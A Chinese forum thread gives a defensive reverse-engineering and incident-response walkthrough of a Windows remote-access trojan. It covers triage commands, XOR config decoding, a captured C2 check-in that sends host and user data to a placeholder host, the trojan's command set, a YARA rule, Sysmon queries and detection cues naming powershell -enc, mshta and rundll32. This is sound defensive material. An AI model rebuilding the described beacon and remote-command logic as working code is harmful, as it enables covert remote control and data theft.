发布于10月9日10月9日 背景最近在一次授权内网排查中,发现一台 Windows 业务跳板机存在异常外联。EDR 告警不明显,但出口防火墙记录显示该主机周期性访问一个非常规端口的境外 VPS。样本最终定位为一个轻量级远控木马,具备开机自启动、主机信息采集、命令执行、文件上传下载等能力。本文只围绕逆向木马远控分析展开,重点记录样本定位、静态拆解、动态行为验证、日志留痕和修复建议。场景为授权测试与应急排查,不涉及投放、免杀或攻击扩展。问题定位初始线索来自防火墙外联日志:src_ip=10.10.23.18 dst_ip=185.xxx.xxx.21 dst_port=8443 proto=tcp action=allow bytes_out=1840 bytes_in=5120 interval≈60s登录主机后,先做三类确认:确认是否存在异常进程及网络连接。确认是否存在异常启动项、计划任务、服务。确认样本落地位置、创建时间和父进程链。netstat -ano | findstr ESTABLISHED tasklist /svc | findstr 8443 wmic process get ProcessId,ParentProcessId,ExecutablePath,CommandLine reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run Author" wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:20最终发现进程路径为:C:\Users\Public\Libraries\WindowsUpdate\wupdate.exe对应启动项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = C:\Users\Public\Libraries\WindowsUpdate\wupdate.exe这个路径和命名都属于常见伪装方式。真正的 Windows Update 不会以这种路径和用户态 Run 键方式启动。静态技术分析将样本转移到隔离分析机后,先计算哈希和基础信息:certutil -hashfile wupdate.exe SHA256 sigcheck -m -a wupdate.exe pefile wupdate.exe strings -n 6 wupdate.exe > strings.txt基础信息如下:项目结果文件类型PE32+ console executable签名无有效数字签名编译时间异常,疑似被篡改主要导入Wininet、Advapi32、Kernel32、Shell32可疑 APIInternetOpenA、InternetConnectA、HttpSendRequestA、CreateProcessA、RegSetValueExA字符串中可以看到经过简单异或处理的配置片段。样本内存在固定 key,对 C2 地址、端口、上线间隔做了解密。还原逻辑大致如下:def xor_decode(data: bytes, key: int = 0x37): return bytes([b ^ key for b in data]) enc = bytes.fromhex("5a4244594f5d1d5f4f5b1d4542") print(xor_decode(enc))逆向时重点看以下函数调用链:入口函数先调用 GetModuleFileNameA 获取自身路径。随后调用 RegCreateKeyExA、RegSetValueExA 写入 HKCU Run 启动项。通过 GetComputerNameA、GetUserNameA、GetVersionExA 采集主机信息。通过 WinINet 发起 HTTP/HTTPS 请求,上线包中包含主机名、用户名、进程 ID、系统版本。收到任务后进入分发逻辑,支持 cmd 执行、文件下载、文件上传和休眠时间修改。远控通信行为分析在隔离环境中配置 INetSim 和本地抓包,观察样本通信。样本默认每 60 秒请求一次固定路径:POST /api/checkin HTTP/1.1 Host: updatecdn.example User-Agent: Mozilla/5.0 Windows Update Client Content-Type: application/octet-stream Content-Length: 96上线数据不是复杂加密,只是 XOR 后再 Base64。解码后可见结构:{"host":"PC-23-18","user":"ops","pid":3620,"ver":"10.0","arch":"x64"}任务响应中存在简单操作码:操作码行为风险0x01执行 cmd 命令远程命令执行0x02下载文件到指定路径二阶段载荷投递0x03上传本地文件数据外传0x04修改 sleep 时间规避高频流量检测0x05退出进程清理痕迹或临时停用这里比较典型的一点是,样本没有使用服务安装方式,而是使用 HKCU Run。原因通常是权限要求低,只要当前用户登录即可触发,适合钓鱼落地后的持久化。动态排查步骤在受影响主机上不建议直接删除文件,先保留证据并确认影响面。可以按以下顺序处理::: 1. 确认异常连接对应 PID netstat -ano | findstr "185.xxx.xxx.21" :: 2. 查看 PID 对应进程 wmic process where processid=3620 get ProcessId,ParentProcessId,ExecutablePath,CommandLine,CreationDate :: 3. 导出启动项证据 reg export "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" C:\Temp\hkcu_run.reg :: 4. 计算样本哈希 certutil -hashfile "C:\Users\Public\Libraries\WindowsUpdate\wupdate.exe" SHA256 :: 5. 查看文件时间线 dir /t:c "C:\Users\Public\Libraries\WindowsUpdate\" dir /t:w "C:\Users\Public\Libraries\WindowsUpdate\" :: 6. 查询近期进程创建日志,需要已开启 4688 wevtutil qe Security /q:"*[System[(EventID=4688)]] and *[EventData[Data[@Name='NewProcessName']='C:\Users\Public\Libraries\WindowsUpdate\wupdate.exe']]" /f:text如果环境部署了 Sysmon,建议重点查以下事件:Event ID 1:进程创建,确认父进程和命令行。Event ID 3:网络连接,确认 C2 地址、端口和时间规律。Event ID 11:文件创建,确认样本落地时间。Event ID 13:注册表值修改,确认 Run 键写入。Event ID 22:DNS 查询,确认域名解析行为。常用 Sysmon 查询示例:wevtutil qe Microsoft-Windows-Sysmon/Operational /q:"*[System[(EventID=3)]] and *[EventData[Data[@Name='DestinationPort']='8443']]" /f:text /c:50 wevtutil qe Microsoft-Windows-Sysmon/Operational /q:"*[System[(EventID=13)]] and *[EventData[contains(Data,'CurrentVersion\\Run')]]" /f:text /c:50逆向关注点分析这类远控木马时,不建议一开始就陷入全部函数细节。优先还原以下信息,对处置最有价值:C2 地址、端口、URI、User-Agent。持久化方式,包括 Run 键、计划任务、服务、WMI 事件订阅。配置解密方式,确认是否还有备用 C2。支持的远控指令,判断是否存在文件窃取和横向移动能力。样本落地目录和文件名规则,用于全网搜索。日志留痕点,用于还原入侵时间线。本样本配置段在 .rdata 附近,使用固定 XOR key。可以用 YARA 做初步猎杀,但不要只依赖文件名:rule Win_RemoteControl_WUpdate_RunKey_Xor { meta: description = "Detects suspicious remote control sample abusing WindowsUpdate name and WinINet APIs" scope = "authorized incident response" strings: $s1 = "Windows Update Client" ascii $s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii $s3 = "InternetOpenA" ascii $s4 = "HttpSendRequestA" ascii $p1 = "\\Users\\Public\\Libraries\\WindowsUpdate" ascii condition: uint16(0) == 0x5A4D and 3 of ($s*) or (uint16(0) == 0x5A4D and $p1) }风险与修复建议处置时建议分为隔离、取证、清理、加固四步。隔离主机:先从网络层阻断 C2,不要立即关机,避免内存证据丢失。保留证据:保存样本、哈希、启动项、网络连接、事件日志、EDR 时间线。清理持久化:删除 Run 键、计划任务或异常服务,再删除样本文件。排查横向:根据相同哈希、相同路径、相同 C2、相同 User-Agent 在全网检索。重置凭据:如果中招用户具备运维权限,应重置其域账号、VPN、堡垒机和相关系统凭据。补齐日志:开启 4688 进程创建日志、PowerShell Script Block Logging,终端建议部署 Sysmon 或等效采集能力。清理命令示例::: 删除启动项 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update" /f :: 结束进程 taskkill /pid 3620 /f :: 删除样本目录,执行前确认已完成取证 rmdir /s /q "C:\Users\Public\Libraries\WindowsUpdate" :: 添加临时阻断,正式环境建议在边界防火墙或 EDR 策略侧处理 netsh advfirewall firewall add rule name="Block suspicious C2 8443" dir=out action=block remoteip=185.xxx.xxx.21 protocol=TCP remoteport=8443检测规则建议如果有集中日志平台,可以从以下几个条件做关联检测:用户目录、Public 目录下出现伪系统更新命名的可执行文件。非浏览器进程访问非常规端口,并呈固定周期心跳。普通用户上下文写入 HKCU Run 且目标路径位于 Public、Temp、AppData。进程 User-Agent 伪装为 Windows Update,但进程路径不是系统组件。短时间内出现文件创建、Run 键写入、外联三类行为。经验上,单点 IOC 很容易失效,行为链更稳定。比如“Public 目录落地 + HKCU Run 持久化 + WinINet 周期外联”比单独匹配 IP 更有价值。总结这类轻量远控木马并不复杂,但在内网里很常见,主要依赖伪装路径、低权限持久化和周期心跳维持控制。逆向分析时不需要追求完整复原所有代码,优先还原 C2、持久化、指令集和日志留痕点,才能支撑后续全网排查和闭环修复。实际处置中,建议把样本逆向结果转成可执行的检测项:哈希、路径、注册表、网络特征、Sysmon 事件和 YARA 规则。这样才能从单机清理推进到内网范围的确认和修复。 逆向分析、样本行为与调试流程示意
10月9日10月9日 这类样本建议不要把“启动项、C2、日志”拆成三个孤立模块看,最好先建立一条时间线:样本落地 → 持久化注册 → 首次外联 → 配置/命令交互 → 清理痕迹。逆向时静态结论和主机侧观测要互相印证,否则很容易把安装器行为误判成木马主体行为。 1. 先做隔离和基线 使用快照虚拟机,禁用共享剪贴板、共享目录和宿主机凭据。 C2 不要直接放通公网,优先在隔离网段用 INetSim、FakeNet-NG 或自建 DNS/HTTP 模拟服务观察请求。 执行前记录进程、服务、计划任务、启动项和网络状态,执行后再做差异比对。 wmic process list full > before_process.txt schtasks /query /fo LIST /v > before_tasks.txt reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" > before_run_user.txt reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" > before_run_machine.txt netstat -ano > before_netstat.txt 2. 启动项不要只盯 Run 键。常见样本会把真实载荷放到用户目录或临时目录,再通过计划任务、服务、WMI 永久事件订阅或快捷方式启动。重点记录“启动位置、执行命令、父进程、文件签名和创建时间”,尤其注意命令行中的 powershell -enc、mshta、rundll32、regsvr32 和脚本解释器。 # 计划任务 schtasks /query /fo CSV /v # 服务路径 Get-CimInstance Win32_Service | Select-Object Name,StartMode,State,PathName | Format-List # WMI 永久事件订阅 Get-CimInstance -Namespace root\subscription -Class __EventFilter Get-CimInstance -Namespace root\subscription -Class CommandLineEventConsumer Get-CimInstance -Namespace root\subscription -Class __FilterToConsumerBinding 如果样本通过注册表启动,建议同时检查 32 位和 64 位视图,以及 RunOnce、用户策略项和 Explorer Shell 扩展。对 PE 文件可以记录 SHA-256、签名状态、编译时间,但不要把编译时间当作可靠时间戳,最终还是以 Prefetch、Amcache、Shimcache、USN Journal 和事件日志互相校验。 3. C2 分析最好从“协议字段”入手,而不是只描述“连接了某个 IP”。建议分别记录: DNS:查询域名、TTL、失败重试间隔、是否使用随机子域。 TCP/TLS:目标、端口、握手时间、SNI、证书指纹、心跳周期。 HTTP:方法、URI、Host、User-Agent、Cookie、请求体编码、响应长度和状态码。 加密前后长度:固定头、长度字段、序列号、命令字和校验字段通常比正文更容易定位。 动态分析时建议在 WinHTTP、WinINet、WS2_32 相关调用处下断点,例如 connect、send、recv、WinHttpSendRequest、InternetReadFile。如果样本自行实现加密,重点跟踪“明文生成点”和“加密函数入口”,不要只在网络层抓密文。可以给每次外联做哈希和时间记录,便于和进程树关联。 # Sysmon 配置中至少关注网络连接、进程和 DNS <RuleGroup name="network" groupRelation="or"> <NetworkConnect onmatch="include"> <DestinationPort condition="is any">80</DestinationPort> <DestinationPort condition="is any">443</DestinationPort> </NetworkConnect> <DnsQuery onmatch="include"> <QueryName condition="contains">.</QueryName> </DnsQuery> </RuleGroup> 实际部署时不建议只靠端口过滤,至少把 Image、DestinationIp、QueryName 和父子进程关系一并保留。Sysmon 事件中,进程创建(1)、网络连接(3)、DNS 查询(22)、文件创建(11)和注册表修改(12/13/14)组合起来,通常足够还原一轮感染链。 4. 日志留痕要区分“样本产生的日志”和“系统留下的痕迹”。木马自身的 log 往往会伪装成更新、诊断或缓存文件,先看写入路径、文件句柄和写入格式,再判断用途。系统侧重点检查: Security:4688(进程创建,需启用命令行审计)。 PowerShell:4103/4104,关注脚本块和编码命令。 TaskScheduler/Operational:计划任务创建和运行。 Microsoft-Windows-WMI-Activity/Operational:WMI 执行记录。 Sysmon:进程、网络、DNS、文件和注册表事件。 # 查询最近 24 小时内的 PowerShell 脚本块日志 Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-PowerShell/Operational' Id = 4104 StartTime = (Get-Date).AddHours(-24) } | Select-Object TimeCreated, Message # 按 PID 关联网络连接和进程路径 Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | ForEach-Object { $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue [pscustomobject]@{ PID=$_.OwningProcess Process=$p.Path Remote="$($_.RemoteAddress):$($_.RemotePort)" } } 最后建议把静态 IOC、行为 IOC 和关联条件分开输出。例如单独的 IP 或文件名误报率较高,而“某哈希创建计划任务 + 非常规父进程启动 + 固定周期 DNS/HTTP 心跳”更适合作为检测规则。清理时也不要直接删除启动项和样本,先导出注册表、保存内存和相关事件日志,否则后续很难复盘 C2 配置和持久化链路。
10月10日10月10日 补充一个容易被忽略的点:这类远控样本看“启动项”和“C2”时,最好把父子进程链和注册表写入者一起记下来,不然只看到 Run 项里的路径,后面很难判断是 dropper 写的、主体写的,还是二阶段模块写的。 可以加几组更细的采集点: rem 启动项相关,含 Wow6432Node reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s reg query "HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" /s rem 常见服务持久化 sc query state= all reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s /f ".exe" rem WMI 持久化,这个很多样本会漏看 wmic /namespace:\\root\subscription PATH __EventFilter get Name,Query wmic /namespace:\\root\subscription PATH CommandLineEventConsumer get Name,CommandLineTemplate wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding get Filter,Consumer rem 最近执行痕迹 dir /a /t:w "%APPDATA%" dir /a /t:w "%LOCALAPPDATA%" dir /a /t:w "%TEMP%" 网络侧建议不要只看域名和 URL,顺手把第一次外联前后的进程句柄、DNS 缓存、TCP 连接快照抓一下。远控经常先连硬编码 IP,失败后再走 DGA 或备用域名,单看 FakeNet 的 HTTP 记录容易漏掉前面的探测逻辑。 ipconfig /displaydns > dns_cache.txt netstat -ano > netstat.txt tasklist /svc > task_svc.txt 如果样本用了 WinHTTP/WinINet,可以在动态调试里重点盯这些 API: - `InternetOpenUrlW / HttpSendRequestW` - `WinHttpConnect / WinHttpOpenRequest / WinHttpSendRequest` - `WSAStartup / connect / send / recv` - `DnsQuery_W` x64dbg 里可以直接对这些 API 下断,命中后看参数里的域名、路径、User-Agent、POST body 长度。有些样本配置是运行时解密的,静态搜字符串搜不到,断在 `connect/send` 之前反而更省时间。 日志留痕这块也可以和时间线对齐看。比如样本注册服务、计划任务、登录自启之后,通常能在这些事件里看到辅助证据: wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:20 wevtutil qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:30 wevtutil qe System /q:"*[System[(EventID=7045)]]" /f:text /c:20 wevtutil qe Microsoft-Windows-WMI-Activity/Operational /f:text /c:30 另外建议把 Procmon 过滤规则提前配好,不要执行后再临时翻海量事件。至少过滤: - `Process Name is 样本名.exe` - `Operation is RegSetValue` - `Operation is CreateFile` - `Operation is WriteFile` - `Operation is Process Create` - `Path contains CurrentVersion\Run` - `Path contains \Startup` - `Path contains \Tasks` 最后落报告时,别只写“写入启动项”“访问 C2”。可以按这种格式记录,后续复现和比对家族会更清楚: [T+00:03] sample.exe 创建 %APPDATA%\xxx\svchost.exe [T+00:04] sample.exe 写入 HKCU\...\Run\Windows Update = "%APPDATA%\xxx\svchost.exe" [T+00:06] svchost.exe 发起 DNS 查询 example.com [T+00:07] svchost.exe POST /gate.php,UA=... [T+00:10] 收到配置,解密后包含 sleep、cmd、download 三类命令 这样能把安装器、主体、通信模块和清理动作分开,不容易把一次性落地行为误判成长期驻留逻辑。
创建帐户或登录后发表意见